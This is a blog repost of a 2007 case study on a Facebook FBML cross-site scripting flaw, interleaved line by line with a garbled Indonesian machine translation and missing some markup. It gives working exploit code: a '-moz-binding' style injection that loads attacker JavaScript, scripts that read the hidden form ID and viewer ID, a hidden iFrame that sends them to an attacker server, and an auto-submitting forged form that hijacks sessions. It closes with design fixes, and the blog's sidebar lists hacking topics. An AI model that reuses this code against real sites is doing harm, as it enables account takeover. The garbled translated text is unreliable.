A Security Case Study Facebook XSS(Cross Site Hacking) Sebuah Studi Kasus Keamanan Facebook XSS (Cross Site Hacking)
The Facebook Platform represents a powerful combination of social networking Platform Facebook merupakan kombinasi yang kuat jaringan sosial
and third-party gadget aggregation. dan gadget pihak ketiga agregasi. Officially released in May 2007, the Resmi diluncurkan pada Mei 2007,
Facebook API provides developers with millions of potential users and partial Facebook API menyediakan pengembang dengan jutaan pengguna potensial dan parsial
access to their information. akses ke informasi mereka. The highly personal nature of Facebook data and the Yang sangat bersifat pribadi dari data dan Facebook
amplifying effects of the social network make it crucial that the Facebook efek memperkuat jaringan sosial membuatnya penting bahwa Facebook
Platform does not enable third-party attacks. Platform tidak mengaktifkan serangan pihak ketiga. This paper describes Facebook's Makalah ini menggambarkan Facebook
security mechanisms and presents a cross-site scripting vulnerability in mekanisme keamanan dan menyajikan sebuah cross-site scripting kerentanan di
Facebook Markup Language that allows arbitrary JavaScript to be added to Facebook Markup Language yang memungkinkan sewenang-wenang JavaScript untuk ditambahkan ke
application users' profiles. aplikasi pengguna 'profil. The profile in the code can then defeat their antirequest Profil tersebut pada kode dapat mengalahkan mereka antirequest
forging security measures and hijack the sessions of viewers. penempaan keamanan dan membajak sesi pemirsa.
An introduction to the Facebook Platform Pengantar ke Facebook Platform
Facebook tightly integrates third-party applications into their website. Facebook erat mengintegrasikan aplikasi pihak ketiga ke dalam situs web mereka.
Applications are served externally but are viewed in the context of a Facebookhosted Aplikasi eksternal dilayani tetapi dilihat dalam konteks Facebookhosted
page with a Facebook URL. Facebook halaman dengan URL. An application has two choices about its Aplikasi memiliki dua pilihan tentang
Facebook home page: it can be isolated in an iFrame or written in Facebook's Facebook home page: ia dapat diisolasi dalam iFrame atau ditulis di Facebook's
proprietary markup language and embedded directly into the page. proprietary markup language dan tertanam langsung ke halaman. Code Kode
written in Facebook Markup Language (FBML) is retrieved by the Facebook ditulis di Facebook Markup Language (FBML) akan diambil oleh Facebook
server, parsed, and then inserted into their surrounding code. server, parsing, dan kemudian dimasukkan ke dalam kode sekitarnya. FBML includes a FBML mencakup
“safe” subset of HTML and CSS as well as Facebook-specific tags. "Aman" subset dari HTML dan CSS serta Facebook-tag spesifik.
In addition to these application home pages, users may add gadgets to their Di samping halaman rumah aplikasi ini, pengguna dapat menambahkan gadget ke mereka
profiles. profil. Profile gadgets are presented alongside Facebook-provided content and Profil gadget disajikan bersama Facebook-konten yang disediakan dan
allow users to individualize a small portion of their profile. memungkinkan pengguna untuk individualize sebagian kecil dari profil mereka. The gadget code Kode gadget
must be written in FBML. harus ditulis dalam FBML.
Session security measures Sesi keamanan
Facebook uses two methods to identify and authenticate users: cookies, which Facebook menggunakan dua metode untuk mengidentifikasi dan autentikasi pengguna: cookie, yang
contain session information, and hidden form IDs that are supposed to ensure berisi sesi informasi, dan formulir tersembunyi ID yang seharusnya untuk memastikan
that forms come from the user. yang terbentuk berasal dari pengguna. With either a cookie or knowledge of a user's Dengan baik kue atau pengetahuan pengguna
form ID, an attacker can impersonate a victim. bentuk ID, seorang penyerang bisa berpura-pura sebagai korban. A cookie's session information Cookie's session information "
would allow an attacker to construct XMLHttpRequests and assume all the same akan memungkinkan seorang penyerang untuk membangun XMLHttpRequests dan menganggap semua sama
privileges as the user. hak sebagai pengguna. Hidden form IDs can be used to session surf, meaning the ID formulir tersembunyi dapat digunakan untuk sesi surfing, yang berarti
attacker can embed a hidden form into a seemingly innocent page. penyerang dapat menanamkan formulir tersembunyi ke halaman yang tampaknya tidak bersalah. The form Bentuk
would automatically submit when viewed by a logged-in user and have the akan secara otomatis mengirimkan bila dilihat oleh pengguna masuk log dan mempunyai
JULY 2007 Juli 2007
2 2
authentication credentials of the unwitting viewer. autentifikasi dari penampil yang tidak menyadarinya. It is imperative that both Sangat penting bahwa kedua
hidden form IDs and cookies be shielded from third-party applications. formulir tersembunyi ID dan cookie akan terlindung dari aplikasi pihak ketiga.
The DOM provides built-in isolation for third-party code in iFrames. DOM menyediakan built-in isolasi untuk kode pihak ketiga di iFrames. The Same Sama
Origin Policy prevents the applications from accessing any of the content from Kebijakan Asal mencegah aplikasi dari mengakses salah satu konten dari
the Facebook servers, including the cookie and the form IDs. Facebook server, termasuk kue dan bentuk ID. However, unlike Namun, tidak seperti
parsed FBML code, Facebook must pass all user and viewer information to the FBML parsing kode, Facebook harus lulus semua pengguna dan penampil informasi kepada
application. lamaran. This limits Facebook's privacy control. Hal ini membatasi privasi Facebook kendali.
FBML gives Facebook the ability to abstract user information and maintain Facebook FBML memberikan kemampuan untuk abstrak dan memelihara informasi pengguna
some uniformity of style between applications. beberapa keseragaman gaya antara aplikasi. Since the parsed third-party code Karena parsing kode pihak ketiga
is included directly in the page, any malicious code that could slip through their disertakan langsung di halaman, setiap kode berbahaya yang bisa menyelinap melalui
filters would have access to the hidden form IDs. filter akan memiliki akses ke formulir tersembunyi ID. Depending on the browser Tergantung pada browser
version, the code might also be able to fetch the user's Facebook cookies. versi, kode mungkin juga dapat mengambil Facebook pengguna cookie. Until Sampai
recently, many browsers (such as Firefox prior to the 2.0.0.5 release) ignored the baru-baru ini, banyak browser (seperti Firefox 2.0.0.5 sebelum rilis) mengabaikan
http-only flag on cookies and would leave them accessible through the JavaScript http-satunya bendera di cookie dan akan meninggalkan mereka dapat diakses melalui JavaScript
document.cookie variable. document.cookie variabel. Facebook therefore attempts to strip FBML of all Facebook Oleh karena itu upaya untuk melucuti semua FBML
references to JavaScript or external code. referensi JavaScript atau kode eksternal.
The XSS vulnerability The XSS kerentanan
I discovered an oversight in the parsing of the Saya menemukan kekhilafan dalam parsing dari tag that allows the tag yang memungkinkan
application owner to push potentially malicious code to the profile of users. pemilik aplikasi berpotensi mendorong kode berbahaya ke profil pengguna. The Itu
tag embeds an Adobe Flash .swf file into a page. tag komprehensif Adobe Flash. swf file ke sebuah halaman. To keep ostentatious Untuk menjaga pamer
graphics and audio from annoying viewers, a static preview image is provided as grafis dan audio dari mengganggu pemirsa, pratinjau gambar statis disediakan sebagai
a link to the Flash content. link ke konten Flash. The Itu tag includes an imgstyle attribute tag mencakup atribut imgstyle
that is stripped of the ", <, and > characters but not checked for executable yang dilucuti dari ", <, dan> karakter tetapi tidak diperiksa untuk executable
content. isi. The code I used is of the form: Kode saya yang digunakan adalah dalam bentuk:
imgsrc="http://myserver/image.jpg" imgstyle="-mozbinding: imgsrc = "http://myserver/image.jpg" imgstyle = "-mozbinding:
url(\'http://myserver/xssmoz.xml#xss\');" /> url (\ 'http://myserver/xssmoz.xml # XSS \'); "/>
After being parsed and added to the user's profile, the highlighted imgstyle Setelah diuraikan dan ditambahkan ke profil pengguna, yang disorot imgstyle
attribute becomes: atribut menjadi:
This causes Firefox to retrieve and evaluate the contents of the external XML file. Hal ini menyebabkan Firefox untuk mengambil dan mengevaluasi isi dari file XML eksternal.
(The exploit could be extended to Internet Explorer by using the CSS (Yang mengeksploitasi dapat diperluas ke Internet Explorer dengan menggunakan CSS
JULY 2007 Juli 2007
3 3
expression() function to cause the CSS to execute JavaScript.) The Firefox ekspresi () fungsi untuk menyebabkan CSS untuk menjalankan JavaScript.) The Firefox
XML file contains the attacker's JavaScript. File XML berisi JavaScript penyerang.
The JavaScript in this file is now executing in the context of the authentic JavaScript pada file ini sekarang mengeksekusi dalam konteks yang otentik
Facebook page with the user's valid credentials. Halaman facebook pengguna dengan kredensial yang valid.
Accessing the page contents Mengakses halaman isi
From here, style sheets and elements within the page may be simply accessed. Dari sini, style sheet dan elemen-elemen di dalam halaman mungkin akan hanya diakses.
The following code fragments change the way the profile owner's name is Potongan kode berikut cara mengubah profil nama pemilik
displayed and get the secret form ID, respectively. ditampilkan dan mendapatkan bentuk rahasia ID, masing-masing.
document.styleSheets[16].insertRule('.profile_name h2 { document.styleSheets [16]. insertRule ( '. profile_name h2 (
color: #aa1c73; text-transform: uppercase; letter-spacing: color: # aa1c73; text-transform: uppercase; letter-spacing:
5px;}',0); 5px;) ', 0);
var attr = var attr =
document.getElementById("post_form_id").attributes; document.getElementById ( "post_form_id"). atribut;
var hidden = attr.getNamedItem("value").value; var tersembunyi = attr.getNamedItem ( "nilai"). value;
The profile viewer's ID is not stored in any form value on the page but can be Profil ID pemirsa tidak disimpan dalam bentuk apapun nilai pada halaman tetapi dapat
found in a URL parameter on the page. ditemukan di sebuah parameter URL pada halaman. The container with that link may Wadah dengan link yang dapat
therefore be searched for the viewer's ID. Oleh karena itu dicari untuk pemirsa ID.
var chunk = var bingkah =
document.getElementById("nav_unused_1").innerHTML; document.getElementById ( "nav_unused_1"). innerHTML;
var start = chunk.indexOf("profile.php?id=") + 15; var start = chunk.indexOf ( "profile.php? id =") + 15;
var end = chunk.indexOf("profile_link") – 9; var end = chunk.indexOf ( "profile_link") - 9;
var uid = chunk.substring(start,end); var uid = chunk.substring (awal, akhir);
The form and user IDs may then be used for the potentially malicious part of the Bentuk dan ID pengguna kemudian dapat digunakan untuk berpotensi berbahaya bagian dari
attack. serangan.
Impersonating the viewer Meniru penampil
JULY 2007 Juli 2007
4 4
Although it is possible to fetch the session information using the JavaScript Meskipun dimungkinkan untuk mengambil informasi sesi menggunakan JavaScript
document.cookie variable in older browsers, I chose to explore the avenue of document.cookie variabel dalam browser lama, saya memilih untuk menjelajahi jalur
session riding to ensure effectiveness against browsers that support http-only sesi naik untuk memastikan efektivitas terhadap browser yang mendukung hanya http
cookies. cookie. With the secret form ID value, an attacker can falsely submit forms on Dengan bentuk nilai ID rahasia, salah seorang penyerang dapat mengirimkan formulir di
the viewer's behalf to perform any action on the site. nama pemirsa untuk melakukan tindakan apapun di situs. This includes removing Ini termasuk menghapus
privacy settings, adding friends, sending messages, and installing the application pengaturan privasi, menambahkan teman, mengirim pesan, dan menginstal aplikasi
to that user's account. ke account pengguna. Since the code only has access to the viewer's session until Karena kode hanya memiliki akses ke sesi pemirsa sampai
he or she navigates away from the page, installing an application is particularly menavigasi dia menjauh dari halaman, menginstal aplikasi ini terutama
appealing since it provides the potential for rapid spreading of the code. menarik karena memberikan potensi untuk cepat penyebaran kode.
Alternately, an application could become popular in its own right and stealthily Bergantian, sebuah aplikasi bisa menjadi populer dalam dirinya sendiri dan diam-diam
include malicious code behind its attractive veneer. termasuk kode berbahaya di balik menarik veneer.
Demonstration Demonstrasi
My demonstration performed two actions: it added a user as my friend (if that Saya demonstrasi dilakukan dua tindakan: ia menambahkan pengguna sebagai teman saya (jika itu
user weren't already) or posted “Adrine is my hero” to my fake account's wall (if pengguna tadinya belum) atau dikirimkan "Adrine adalah pahlawan" ke account palsu dinding (jika
that user were already my friend). pengguna sudah teman saya). I did this by inserting an iFrame into the Aku melakukan ini dengan memasukkan sebuah iFrame ke
DOM tree and passing the necessary form values to the inner script (which was DOM pohon dan mengirimkan formulir yang diperlukan nilai ke dalam script (yang
on my server). di server saya). That script then sent a POST request to the appropriate Selanjutnya, script yang mengirimkan permintaan POST yang sesuai
Facebook form. Facebook bentuk. The following JavaScript code inserts the iFrame for the wall Berikut menyisipkan kode JavaScript untuk dinding iFrame
post: post:
var myframe = document.createElement("iframe"); var myframe = document.createElement ( "iframe");
myframe.setAttribute("width","0px"); myframe.setAttribute ( "width", "0px");
myframe.setAttribute("height","0px"); myframe.setAttribute ( "height", "0px");
myframe.setAttribute("style","border:0px;"); myframe.setAttribute ( "style", "border: 0px;");
myframe.setAttribute("src","http://myserver/wallpost.php?hid myframe.setAttribute ( "src", "http://myserver/wallpost.php?hid
den="+hidden+"&uid="+uid); den = "+ tersembunyi +" & uid = "+ uid);
document.getElementById("profileimage").appendChild(myframe) document.getElementById ( "profil"). appendChild (myframe)
Notably, this iFrame will load without the user's knowledge because it is of size Khususnya, ini akan memuat iFrame tanpa sepengetahuan pengguna karena ukuran
0x0 and without a border. 0x0 dan tanpa perbatasan. When it loads, it makes a request to the attacker's Ketika itu beban, itu membuat permintaan ke penyerang
server wallpost.php script, passing in the hidden and UID values as wallpost.php server script, melewati di tersembunyi dan nilai-nilai UID
parameters. parameter. The PHP script generates a Facebook form, with the UID and Script PHP menghasilkan bentuk Facebook, dengan UID dan
hidden variables included as necessary to satisfy Facebook's authentication dimasukkan sebagai variabel tersembunyi yang diperlukan untuk memenuhi otentikasi Facebook
mechanisms. mekanisme. The value “[targetUID]” holds the place of the profile that receives Nilai "[targetUID]" memegang tempat profil yang menerima
the wall post. dinding pos. Removing extraneous PHP commands, the form was: Menghapus perintah PHP asing, bentuk adalah:
action="http://www.facebook.com/wallpost.php?id=[targetUID]" action = "http://www.facebook.com/wallpost.php?id = [targetUID]"
method="post"> metode = "post">
JULY 2007 Juli 2007
5 5
hero" type="text"> pahlawan "type =" text ">
value="$_GET['uid']" /> value = "$ _GET [ 'uid']" />
value="$_GET['hidden']" /> value = "$ _GET [ 'tersembunyi']" />
The form is then automatically submitted with a line of JavaScript, Bentuknya yang kemudian secara otomatis diserahkan dengan garis JavaScript,
document.myform.submit();, which is appended to the end of the iFrame. document.myform.submit ();, yang ditambahkan ke akhir iFrame.
The ramifications of the exploit The konsekuensi dari eksploitasi
The immediate consequence of this cross-site scripting hole is that an attacker Konsekuensi langsung cross-site scripting lubang adalah bahwa seorang penyerang
may temporarily gain control over a user's account. mungkin untuk sementara mengontrol account pengguna. It would be easy for Akan mudah bagi
Facebook to fix this specific problem, however: it's a single parameter that needs Facebook untuk memperbaiki masalah khusus ini, bagaimanapun: ini adalah satu parameter yang perlu
to be run through one of their existing filters. yang akan dijalankan melalui salah satu dari mereka memiliki penyaring.
More importantly, we should consider the design flaw that allowed this exploit Lebih penting lagi, kita harus mempertimbangkan desain cacat yang memungkinkan mengeksploitasi ini
to occur. terjadi. XSS vulnerabilities are common; the significant part of the attack is XSS kerentanan yang umum; bagian signifikan dari serangan
not that a new vulnerability was discovered, but that a single breach leaves the Bukankah itu kerentanan baru ditemukan, tetapi satu pelanggaran itu meninggalkan
entire site open to abuse. seluruh situs terbuka untuk penyalahgunaan. The exploitability of their design raises questions Para exploitability desain mereka menimbulkan pertanyaan
about the prudence of inserting third-party code (parsed or not) into a page that tentang kebijaksanaan untuk memasukkan kode pihak ketiga (parsing atau tidak) ke dalam halaman yang
contains the user's information and login credentials. berisi informasi pengguna dan login credentials. The problem cannot be Masalahnya tidak dapat
simply solved by generating unique form IDs for each page, because this can be hanya diselesaikan dengan menghasilkan bentuk unik ID untuk setiap halaman, karena hal ini dapat
overcome by adding a new iFrame and searching the contents of that page for diatasi dengan menambahkan iFrame baru dan mencari isi dari halaman tersebut untuk
the appropriate form ID. ID formulir yang tepat.
The alternative to their current design is to place the third-party content in an Alternatif desain mereka saat ini adalah untuk menempatkan konten pihak ketiga dalam suatu
iFrame on a domain that is not *.facebook.com. iFrame dalam sebuah domain yang tidak *. facebook.com. XSS holes would be therefore be Lubang XSS karena itu akan menjadi
sandboxed. sandboxed. This would limit the ability of the code to communicate with the Ini akan membatasi kemampuan kode untuk berkomunikasi dengan
Facebook page context (eg to determine the identity of the profile viewer), but Halaman facebook konteks (misalnya untuk menentukan identitas profil penonton), tetapi
their current model barely makes any use of this functionality. model saat ini mereka nyaris membuat setiap penggunaan fungsi ini.
*******************************END*********************************** ******************************* END ****************** *****************
Pengikut
INFO PENTING!!!!
Semua program yang ada disini gratis dan dapat di download dengan mudah.
Untuk sementara waktu, web ini tidak di update dikarenakan ada sedikit problem.
Untuk sementara waktu, web ini tidak di update dikarenakan ada sedikit problem.
- bloger trick (4)
- facebook (5)
- free rapidshare account (1)
- game cheats and tricks (1)
- game hack (1)
- google (1)
- hack (10)
- hacking book (1)
- internet (1)
- keylogger (1)
- lan hacking (5)
- mobile hacking (2)
- mobile software (2)
- msn (1)
- myspace (1)
- orkut (3)
- password (3)
- triks (8)
- virus (1)
- wifi hack (1)
- yahoo (3)